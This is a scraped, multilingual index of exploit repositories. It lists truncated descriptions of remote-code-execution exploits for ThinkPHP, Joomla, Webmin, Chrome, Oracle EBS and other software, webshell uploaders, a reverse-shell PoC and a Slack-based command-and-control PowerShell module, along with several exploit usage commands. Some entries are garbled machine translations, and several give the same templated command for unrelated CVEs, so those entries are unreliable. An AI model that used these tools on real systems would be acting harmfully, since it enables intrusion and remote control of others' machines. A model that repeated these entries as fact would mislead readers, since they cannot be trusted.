thinkphp5.0.1-automatic-getshell

thinkphp5.0.1-automatic-getshell thinkphp5.0.1 स्वचालित getshell स्क्रिप्ट thinkphp5.0.1 का उपयोग करते समय आने वाली कुछ छोटी समस्याओं को हल करता है, और स्वयं का पहिया बनाकर मैन्युअल पुनरुत्पादन की परेशानी से बचाता है।...

PageMyadmin_file_upload_getshell

Ce depot n’a pas de fichier README...

CVE-2026-20841

L'accuratezza di questo metodo di attivazione del PoC non è stata verificata e va considerato solo a scopo informativo/di riferimento. CVE-2026-20841 - RCE in notepad.exe di Windows Condizione di sfruttamento: Testato su : Versione di Blocco note 11.2510.14.0 Passaggio 1 : Salvare il file Passagg...

SlackShell

SlackShell Descrizione e Changelog v1.0 Questo modulo PowerShell include varie funzioni che utilizzano l'API Slack per creare un canale di comando e controllo. La funzione principale, Start-Shell, si connette a un canale Slack specificato dall'utente e autentica utilizzando un token di...

CVE-2025-1094-Lab-Setup

🛠️ CVE-2025-1094 Laborumgebung ⚠️ Haftungsausschluss Dieses Labor dient ausschließlich Bildungs- und Forschungszwecken. Verwenden Sie NICHT Informationen oder Techniken aus dieser Anleitung auf Systemen, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Genehmigung zum Testen haben. Die...

Wp_Adning_Advertising_Shell_Upload

WpAdningAdvertisingShellUpload python 2.7...

CVE-2026-4447

CVE-2026-4447 - V8 in Google Chrome precedente alla Remote Code Execution Utilizzo Rapido root@kitploit: python3 exploit.py -t "C:\Path\To\Target" -o demo.zip --data-file payload.exe Note sullo Sfruttamento Gravità: ALTA CVSS: 8.8 Impatto: Riservatezza, Integrità, Disponibilità Pubblicato:...

Oracle E-Business Suite 12.2.3 -12.2.11 - Remote Code Execution

Oracle E-Business Suite 12.2.3 through 12.2.11 is susceptible to remote code execution via the Oracle Web Applications Desktop Integrator product, Upload component. An attacker with HTTP network access can execute malware, obtain sensitive information, modify data, and/or gain full control over a...

Hitachi Pentaho Business Analytics Server - Remote Code Execution

Hitachi Pentaho Business Analytics Server prior to versions 9.4.0.1 and 9.3.0.2, including 8.3.x, is susceptible to remote code execution via server-side template injection. Certain web services can set property values which contain Spring templates that are interpreted downstream, thereby...

Mida eFramework <=2.9.0 - Remote Command Execution

Mida eFramework through 2.9.0 allows an attacker to achieve remote code execution with administrative root privileges. No authentication is required. id: CVE-2020-15920 info: name: Mida eFramework =2.9.0 - Remote Command Execution author: dwisiswant0 severity: critical description: Mida eFramewor...

Joomla-3.4.6---configuration.php-Remote-Code-Execution

Joomla-3.4.6---configuration.php-Remote-Code-Execution Betroffene Versionen: 3.0.0-3.4.6 1. Schwachstellenvalidierung python3 Joomla-3.4.6-RCE.py -t http://172.20.10.4 Wird „Vulnerable“ angezeigt, ist die Schwachstelle vorhanden. python3 test.py -t http://127.0.0.1:8080/ --exploit --lhost...

CVE-2026-27597

CVE-2026-27597 - Esecuzione Remota di Codice nella versione Utilizzo Rapido root@kitploit: python3 exploit.py -t "C:\Path\To\Target" -o demo.zip --data-file payload.exe Note sullo Sfruttamento Gravità: CRITICA CVSS: 10.0 Impatto: Riservatezza, Integrità, Disponibilità Pubblicato: 2026-02-25...

CVE-2026-2441

CSS in Google Chrome precedente all'esecuzione di codice remoto CVE-2026-2441 Panoramica È stata identificata una vulnerabilità di gravità ALTA, classificata come CVE-2026-2441, categorizzata sotto CWE-416, CWE-416, CVSS 8.8. Un use-after-free in CSS in Google Chrome precedente alla versione...

CVE-2026-21531

Bypass delle Funzionalità di Sicurezza in ASP.NET Core di Microsoft CVE-2026-21531 🌟 Descrizione Una vulnerabilità nell'Azure SDK facilita la deserializzazione di dati non attendibili, consentendo ad attaccanti non autorizzati di eseguire codice arbitrario su una rete. ⚙️ Installazione Per...

Webmin1.910_exploit

Webmin 1.910 रिमोट कोड एक्ज़ीक्यूशन एक्सप्लॉइट विवरण: इस रिपॉज़िटरी में एक Python 3 स्क्रिप्ट है जो Webmin संस्करण 1.910 में रिमोट कोड एक्ज़ीक्यूशन भेद्यता का शोषण करने के लिए डिज़ाइन की गई है। स्क्रिप्ट प्रमाणीकरण करने और रिवर्स शेल पेलोड तैनात करने के लिए sessionlogin.cgi एंडपॉइंट का उपयोग करती...

CVE-2026-30741

Advisory di Sicurezza: CVE-2026-30741 Prodotto: OpenClaw Agent Platform Versioni interessate: v2026.2.6 e precedenti Tipo di vulnerabilità: Esecuzione di codice remoto RCE tramite iniezione di prompt lato richiesta Descrizione: La mancanza di validazione dell'integrità per le richieste API upstre...

CVE-2021-42342

CVE-2021-42342 CVE-2021-42342 RCE POC1: stampa semplicemente root@kitploit: include include include include static void beforemainvoid attributeconstructor; static void beforemainvoid write1, "Hello World!\n", 14; POC2: reverse shell root@kitploit: include include include include char serverip=""...

rusty_joomla_rce

Rusty Joomla RCE Details Technische Details finden Sie hier: https://1day.dev/notes/Rusty-Joomla-Remote-Code-Execution...

Apache-Flink-Dashboard-rec

Apache-Flink-Web-Dashboard-RCE Apache Flink Web Dashboard RCE...

CVE-2025-52691

CVE-2025-52691 SmarterMail: неаутентифицированная произвольная загрузка файлов RCE Обзор Критическая уязвимость неаутентифицированной произвольной загрузки файлов, позволяющая удалённо выполнять код...